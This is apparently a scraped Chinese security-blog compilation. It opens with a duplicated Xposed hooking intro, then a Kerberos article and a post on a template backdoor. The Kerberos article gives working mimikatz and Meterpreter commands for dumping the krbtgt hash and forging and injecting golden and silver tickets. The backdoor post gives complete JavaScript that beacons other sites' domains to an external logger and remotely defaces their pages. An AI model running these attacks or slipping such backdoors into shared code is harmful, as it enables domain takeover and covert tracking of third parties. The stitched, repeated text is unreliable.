安卓APP测试之HOOK大法-Xposed篇
安卓APP测试之HOOK大法-Frida篇是基于Frida来实现HOOK,对于部分用户来说,一方面手机ROOT会带来一些风险,另一方面虽然愿意承担风险但是手机无法ROOT。这就需要采用另外一种方法–利用Xposed来进行HOOK。安装VirtualXposed之后,并不需要对手机进行ROOT,也可以来运行Xposed模块进行HOOK。
安卓APP测试之HOOK大法-Frida篇是基于Frida来实现HOOK,对于部分用户来说,一方面手机ROOT会带来一些风险,另一方面虽然愿意承担风险但是手机无法ROOT。这就需要采用另外一种方法–利用Xposed来进行HOOK。安装VirtualXposed之后,并不需要对手机进行ROOT,也可以来运行Xposed模块进行HOOK。
本文主要介绍一些 Kerberos 协议的原理和围绕其展开的攻防研究,针对黄金/白银票据如何工作的细节进行了一些研究。
最初的 Kerberos 协议是由 MIT 制定的,很多系统在实现过程中有不同的细节,如 Windows Kerberos 认证协议中就新增了 PAC 认证这一块,需要特别注意。
本文主要是以 Windows Kerberos 的实现为主,但查阅资料时可能会有部分细节来源自 MIT 的标准,若有纰漏还望读者包涵指正。
0x01 NTHash 和 Net-NTLM在介绍Kerberos协议之前,先简单介绍一下 windows 本地存储密码机制的相关知识。
NTHash(A.K.A NTLM)在 Windows中, 存储的密码Hash就叫做 NTHash,也叫做 NTLM,其中NTLM 全称是 “NT LAN Manager”,NTHash 是通过对密码明文进行十六进制和unicode转换,然后md4算法运算后得到(算法表示为MD4(UTF-16-LE(password)) )。这个 NTHash 就是存在 SAM 数据库里,能够直接被 mimikatz 抓取的 hash,也存在域控的 NTDS 文件中,使用这个 hash 可以直接进行 pass-the-hash 攻击。
Net-NTLMv2这是一种网络认证协议,其使用 NTHash 为基础,基于 challenge/response 的机制来实现服务端和客户端的双方认证。在局域网或者域中,经常会使用 Net-NTLM 协议来进行认证,大概流程如下:
通过这样的认证流程,就能够在不发送用户密码明文和Hash的情况下进行认证了。
通过 Responder 等工具抓取流量获取到的 hash 是 Net-NTLM 加密过后的hash,这类hash不能直接用来进行 pass-the-hash 攻击,但是可以用来进行重放攻击,也存在暴力破解的可能性。具体原因可以参考上面的流程。
0x02 Pass The Hash通过对上面原理的介绍,我们发现,即使不能获取到某个账号的明文密码,仅仅获取NTLM Hash也是大有可为的。一旦获取了某个账号的NTLM Hash,我们就能够进行 Pass The Hash 攻击(PTH)。
Pass The Hash 攻击
Kerberos 协议认证的原理和上述提到的 NTLM 有很多类似的地方,下面简单介绍一下Kerberos 的认证流程。
(AS-REQ)Client 发送用户名 Tom 到 KDC (Key Distribution Center)以向 AS (Authentication Service)请求 TGT 票据等信息。
(AS-REP)收到请求后,AS 生成随机字符串 Session Key,使用 Tom 的 NTLM Hash 对 Session Key 加密得到密文 A,再使用账号 krbtgt 的 NTLM Hash 对 Session Key 、 Client Info和 timestamp 加密得到 TGT,A 和 TGT 一起返回给 Client。
(TGS-REQ) Client 收到请求后,使用自身的 NTLM Hash 解密 A 就能得到 Session Key,然后使用 Session Key 对 Client Info 和 timestamp 加密得到 B,加上 TGT ,发送给 KDC中的 TGS。
(TGS-REP)TGS 收到请求后,使用 krbtgt 的 NTLM Hash 解密 TGT,得到 Session Key 和 timestamp 以及 Client Info,同时,使用 TGT 解密出的 Session Key 解密密文B,得到Client Info 和 timestamp。 比对这两部分解密得到的内容以验证是否通过。通过后,生成一个新的随机数 Session Key2,并用它加密 client info 和 timestamp 得到密文 enc-part;使用服务器计算机的NTLM Hash 对 session key2 和 client info 以及 timestamp 加密得到最终的 Ticket,返回给 Client。
(AP-REQ)Client 使用 Ticket 和 enc-part 直接请求某服务。
(AP-REP) 对Ticket 和 enc-part 解密后进行验证授权。
注意:
Kerberos 协议设计的思路就是用来在不受信的环境下进行认证的协议。
krbtgt 账号的 NTLM Hash 理论上只存在于 KDC 中。这意味着 TGT 只能由 KDC 来解密。如果krbtgt 账号的NTLM Hash泄露了,那么 TGT 就能被解密甚至伪造。伪造的 TGT 叫做黄金票据。
Ticket 是由服务器计算机本身的 NTLM Hash 加密的,Client 不能解密。如果该Hash 泄露,那么就可以解密甚至伪造 Ticket。伪造的 Ticket 叫做白银票据。
在上述的流程中,涉及到时间戳 timestamp,由于它的存在,才使得被第三方获取了加密信息 A 、B、TGT不会在短时间内被暴力破解。timestamp 一般时间为8小时。
Kerberos 协议和 NTLM 协议都会使用 NTLM Hash 对生成的任意随机数加密,然后比对结果。 Kerberos 的主要区别在于添加了第三方——-KDC参与到认证过程中。
Client info 中包含域名信息、Client 名称等
PAC(Privilege Account Certificate)是用来验证数据合法性的一个扩展功能,它被包含在 Kerberos Ticket 中以一个数据结构体存在。 PAC 结构体包含安全标识符,组成员身份,用户配置文件信息和密码凭据等信息。PAC 验证的目的是为了解决 PAC 欺骗,防止攻击者利用篡改的 PAC 信息实现未授权访问。
下图显示了Kerberos PAC 认证过程。
默认情况下 PAC 验证是不开启的,开启后会增加一些网络和性能上的消耗。
MS14-068 漏洞,就是基于 PAC 认证的错误,从而导致域内普通用户可以伪造凭据,从而提权到管理员权限。
0x05 Pass The Ticket 黄金票据(Gold Ticket)攻击者在获取了 krbtgt 账号的 ntlm hash 后,就能自己任意伪造 TGT(包括session key,client info等内容),然后直接发送给 kdc,实现任意权限伪造。
伪造黄金票据所需信息
伪造黄金票据的方法和工具
首先需要获取 krbtgt 账号的 hash,常用的方法如下:
mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
lsadump::dcsync /user:krbtgt或者在 meterpreter 中使用 kiwi 扩展
dcsync_ntlm krbtgtmimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
privilege::debug lsadump::lsa /inject /name:krbtgt将域控中的数据库 ntds.dit 复制出来使用其他工具解析,需要注意有时候这个 ntds.dit 是非常大的。
伪造黄金票据:
Mimikatz
mimikatz # kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi User : utilisateur Domain : chocolate.local SID : S-1-5-21-130452501-2365100805-3685010670 User Id : 1107 Groups Id : *513 krbtgt : 310b643c5316c8c3c70a10cfb17e2e31 - rc4_hmac_nt Lifetime : 15/08/2014 01:57:29 ; 12/08/2024 01:57:29 ; 12/08/2024 01:57:29 -> Ticket : utilisateur.chocolate.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file !Meterpreter
golden_ticket_create -d chocolate.local -u utilisateur -s S-1-5-21-130452501-2365100805-3685010670 -k 310b643c5316c8c3c70a10cfb17e2e31 -t utilisateur.chocolate.kirbi注入当前用户内存中:
Mimikatz
kerberos::ptt utilisateur.chocolate.kirbiMeterpreter
kerberos_ticket_use utilisateur.chocolate.kirbi查看内存中的 ticket
kerberos::list kerberos::tgt kerberos_ticket_list # meterpreter访问域内其他服务器
dir \\WIN-PTELU2U07KG\C$注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议(具体原因可以比较两协议的原理得出)。
通过 psexec 执行命令
PsExec64.exe \\WIN-PTELU2U07KG\ cmd.exe理论上也可以使用 powershell、wmic 来远程执行命令。
黄金票据的特点
黄金票据可以冒充域内任何用户生成对应的 Kerberos TGT 票证。因此,它可以用来任何合法的用户,虽然一般都会选择域管理员帐户;
通过获取 Server 端本地计算机账户(或服务账号)对应的 NTLM Hash,在不用与 KDC 进行通信的情况下,就能伪造该计算机任意服务的 Ticket。
伪造白银票据所需的信息:
伪造白银票据的方法和工具
mimikatz
mimikatz “kerberos::golden /admin:Administrator /id:500 /domain:example.domain.local /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.example.domain.local /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit使用和其他功能同黄金票据。
黄金、白银票据的差异可以看到在生成黄金票据的时候,mimikatz 会提示生成了好几部分内容,这些提示我试图查找一些资料,都没有找到现成的解释,于是都去翻了翻 mimikatz 的源码试图找到合理的解释。
在 kuhl_m_kerberos.c #508 处的 kuhl_m_kerberos_golden_data 函数,是负责生成黄金票据信息的主要函数,可以看到有相关的一些参数。
继续查看该函数实现的定义,如下
if(sid) // we want a PAC ! { if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids)) { if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize)) { kprintf(L" * PAC generated\n"); status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize); if(NT_SUCCESS(status)) kprintf(L" * PAC signed\n"); } } } if(!sid || NT_SUCCESS(status)) { if(BerApp_EncTicketPart = kuhl_m_kerberos_ticket_createAppEncTicketPart(&ticket, pacType, pacTypeSize)) { kprintf(L" * EncTicketPart generated\n"); status = kuhl_m_kerberos_encrypt(keyType, KRB_KEY_USAGE_AS_REP_TGS_REP, key, keySize, BerApp_EncTicketPart->bv_val, BerApp_EncTicketPart->bv_len, (LPVOID *) &ticket.Ticket.Value, &ticket.Ticket.Length, TRUE); if(NT_SUCCESS(status)) { kprintf(L" * EncTicketPart encrypted\n"); if(BerApp_KrbCred = kuhl_m_kerberos_ticket_createAppKrbCred(&ticket, FALSE)) kprintf(L" * KrbCred generated\n"); LocalFree(ticket.Ticket.Value); } else PRINT_ERROR(L"kuhl_m_kerberos_encrypt %08x\n", status); ber_bvfree(BerApp_EncTicketPart); } }一共分成三部分,分别是
生成和签名PAC
可以看到是先通过函数 kuhl_m_pac_infoToValidationInfo(这些信息包括 LogoffTime, PasswordLastSet, PasswordMustChange 等) 和 kuhl_m_pac_validationInfo_to_PAC 生成验证信息并转化为PAC 结构,然后用 kuhl_m_pac_signature 函数对其签名,PAC 信息就生成完毕,代码见 kuhl_m_kerberos_pac.c#L146 。
生成和加密EncTicketPart
接下来使用函数kuhl_m_kerberos_ticket_createAppEncTicketPart (参考 kuhl_m_kerberos_ticket.c#L250)生成 EncTicketPart,这个EncTicketPart就是是组成 TGT 的重要组成部分,TGT 的详细组成后面会讲。
查看一下该函数的实现细节如下(部分代码):
ber_printf(pBer, "t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS)); kull_m_asn1_BitStringFromULONG(pBer, ticket->TicketFlags); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY)); kuhl_m_kerberos_ticket_createSequenceEncryptionKey(pBer, ticket->KeyType, ticket->Key.Value, ticket->Key.Length); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM)); kull_m_asn1_GenString(pBer, &ticket->AltTargetDomainName); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME)); kuhl_m_kerberos_ticket_createSequencePrimaryName(pBer, ticket->ClientName); ber_printf(pBer, "}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME)); kull_m_asn1_GenTime(pBer, &ticket->StartTime); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME)); kull_m_asn1_GenTime(pBer, &ticket->StartTime); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME)); kull_m_asn1_GenTime(pBer, &ticket->EndTime); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL)); kull_m_asn1_GenTime(pBer, &ticket->RenewUntil); ber_printf(pBer, "}"); /* ID_CTX_ENCTICKETPART_CADDR not present */可以看到一些该部分是由 ID_CTX_ENCTICKETPART_FLAGS, ID_CTX_ENCTICKETPART_KEY, ID_CTX_ENCTICKETPART_CREALM 等信息组成的,这就是 EncTicketPart 的主要组成结构(参考 RFC4120)。
在生成完 EncTicketPart 之后,需要使用之前生成的随机的 Session Key 对其加密(本来 Session Key 是由 KDC 协商的,因为这里是伪造的,所以是本地生成)。实现的函数是kuhl_m_kerberos_encrypt。
生成最终的TGT
然后是kuhl_m_kerberos_ticket_createAppKrbCred 函数创建最终的TGT(参考 kuhl_m_kerberos_ticket.c#L196),Ticket的结构如下:
Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno [0] INTEGER (5), realm [1] Realm, sname [2] PrincipalName, enc-part [3] EncryptedData -- EncTicketPart }创建完之后,将伪造的黄金票据注入到内存中,使用 kuhl_m_kerberos_ptt_data 函数(参考),该函数先将伪造的黄金票据复制到内存中,然后调用LsaCallAuthenticationPackage 函数来解析缓存中的认证信息,验证是否可用。
0x06 防御 保护域控和敏感账户小结: 如果从未在被入侵的计算机上登陆过高权限账户,那么攻击者无法窃取高权限账号的信息。这些措施可以明显增高攻击者危害高权限账户的攻击成本。
重置 krbtgt 账号密码重置该账号密码可以使得所以所有生成的黄金票据立即失效,可能会导致一些手动输入密码的服务失效,同时造成短时间内域控的负载增大。
开启 PAC 验证开启 PAC 验证,但会增加 KDC 的压力。
检测gentilkiwi 写了一个 yara 规则用来检测 dump hash 的相关,见 kiwi_passowrds.yar
0x07 参考链接https://www.secpulse.com/archives/94848.html
http://cert.europa.eu/static/WhitePapers/CERT-EU-SWP_14_07_PassTheGolden_Ticket_v1_1.pdf
https://tools.ietf.org/html/rfc4120#section-5.8
http://www.securityandit.com/network/kerberos-protocol-understanding/
https://github.com/gentilkiwi/mimikatz
https://en.wikipedia.org/wiki/NT_LAN_Manager
https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/
https://ldapwiki.com/wiki/Golden%20Ticket
https://pentestlab.blog/2018/04/09/golden-ticket/
https://adsecurity.org/?p=2011
https://download.microsoft.com/download/7/7/a/77abc5bd-8320-41af-863c-6ecfb10cb4b9/mitigating%20pass-the-hash%20(pth)%20attacks%20and%20other%20credential%20theft%20techniques_english.pdf
https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4
在前段时间,我在我博客的模板上加入了后门(JavaScript),今天去除,并将思路简单的写出来。
为什么留后门呢?起因:在前不久,团队官网模板就被偷走,很让人生气,抄袭者团队(以下简称为:A)没有打一声招呼就拿走了,但可笑的是A并没有在模板中修改JavaScript文件的外链引用,而是直接使用我们的JavaScript文件,所以简单的利用JS修改了一下其主页,提醒了下他,经过后来A主动与我联系并道歉,这件事情才结束~
让我吃惊的是,这件事之后我发现我博客主题模板被拿走了,是的,不止一个哥们。
我在我的博客项目中说明了https://github.com/gh0stkey/gh0stkey.github.io
个人博客 gh0st.cn 模版来自:https://github.com/heiswayi/the-plain 在原基础上增加了分页、网易云音乐播放器等功能(做了一些排版细节上的调整),拿之前告诉我下,谢谢!
因为博客采用的是Github Pages + Jekyll,所以需要依赖于Github的进行托管,模板也就自然而然的可以直接git clone下来,模板也是我进行二次修改的,我觉得起码要尊重下作者,在博客主题或项目之类的进行说明,打声招呼也行,一声不吭的拿走是几个意思……
有个好兄弟说过这样一段话,望周知:
参考别人的研究成果,注明来源是基本素质,每个人都应该构建一个和谐积极向上的氛围,知道的人不愿意分享的原因就是不被别人认可,互相认可才能进步,现在理解一些师傅的苦衷了,挺悲哀的。请各位在以后的学习生涯上,尊重别人的分享,认可他人,互相感染才能进步。
关于后门我是一个“重度洁癖患者”,不喜欢自己的任何东西带上任何污点。包括对于在自己博客模板中加入后门,这对我来说是一件带有“大污点”的事情,所以思考了很久决定加上后门。
后门的构建 JavaScript 后门模板后门选择的是JavaScript外链引用,而JavaScript的内容构建步骤如下:
1.判断是否是自己的域名(这个正则写的不严谨是可以被绕过的,例如:gh0st.cn.bypass.cn):
var host = document.location.host; //获取host var reg = new RegExp(/gh0st.cn/); //创建正则 var isok = reg.test(host); //匹配结果:False\True if(!isok){//判断 ...code }2.触发式:在一个Web服务上添加了isopen.txt这个文件,内容为NO则不触发,内容为YES则触发。(选择触发式的原因是因为博客上线有本地调试这一环节,如果在本地就触发了,那岂不是得不偿失,没有造成什么直接损害~)
var xhr = new XMLHttpRequest(); //创建XMLHttpRequest xhr.onreadystatechange=function(){ //请求成功则触发 if(xhr.responseText == "YES"){ //判断请求网站的内容是否是YES,如果是则进行下一步 document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); //页面内容修改 } } xhr.open("GET","http://webserver/isopen.txt",true); //请求http://webserver/isopen.txt xhr.send(null);3.既然选择了触发式的后门,那么就需要知道是谁偷了模板,这里利用的是ceye.io这个平台去记录“小偷”的域名和IP之类的东西:
var img = document.createElement("img"); //创建img标签 img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; //设置img标签的src属性 img.stytle.display="none"; //设置img标签的样式的display属性为none(表示这个将图片隐藏) document.body.appendChild(img); //在DOM节点(body)内加入img标签4.在博客模板的header.html中引用了外部的JS地址<script src="http://webserver/xxx.js">
完整代码如下:
var host = document.location.host; var reg = new RegExp(/gh0st.cn/); var isok = reg.test(host); if(!isok){ var img = document.createElement("img"); img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; img.stytle.display="none"; document.body.appendChild(img); var xhr = new XMLHttpRequest(); xhr.onreadystatechange=function(){ if(xhr.responseText == "YES"){ document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); } } xhr.open("GET","http://webserver/isopen.txt",true); xhr.send(null); } Python 监控利用ceye.io这个平台的API去实时监控,并且使用邮件发信通知。
导入Python模块 && 全局变量:
import smtplib,requests,json,urlparse,sys from email.MIMEText import MIMEText from email.Utils import formatdate from email.Header import Header log = {}1.163邮件发信:
def send_mail(domain,ip): smtpHost = 'smtp.163.com' smtpPort = '25' fromMail = '邮箱账户' toMail = '邮箱账户,收信方' username = '邮箱账户' password = '邮箱密码' reload(sys) sys.setdefaultencoding('utf8') subject = u'博客监控到有人偷模板!' body = u"[小偷信息]\nDomain: {0} IP: {1}".format(domain,ip) encoding = 'utf-8' mail = MIMEText(body.encode(encoding),'plain',encoding) mail['Subject'] = Header(subject,encoding) mail['From'] = fromMail mail['To'] = toMail mail['Date'] = formatdate() try: smtp = smtplib.SMTP(smtpHost,smtpPort) smtp.ehlo() smtp.login(username,password) smtp.sendmail(fromMail,toMail.split(','),mail.as_string()) print u"邮件已发送,监控信息:" print body except Exception,e: print e print u"发送失败,监控信息:" print body finally: smtp.close()2.ceye.io API调用获取信息,个人中心可以看见API TOKEN,API使用方法:
def dnslog_monitor(): api = "http://api.ceye.io/v1/records?token=你的TOKEN&type=http&filter=myblog" r = requests.get(api) json_data = json.loads(r.text) for i in json_data['data']: query = urlparse.urlparse(i['name']).query sb_domain = dict([(k, v[0]) for k, v in urlparse.parse_qs(query).items()])['domain'] sb_ip = i['remote_addr'] if sb_domain in log: pass else: log[sb_domain] = sb_ip send_mail(sb_domain,sb_ip)3.main函数:
def main(): while True: dnslog_monitor() 后门的运行python脚本挂在服务器跑了一段时间,也发现了一个哥们又拿走了我的博客模板:
让他”用”了一段时间,便将isopen.txt的内容改为了YES(即触发了后门),其后来也与我联系,并进行了和解。
写在最后的话也是因为“重度洁癖”,决定将模板后门去除。望君尊重技术、分享、作者,共勉!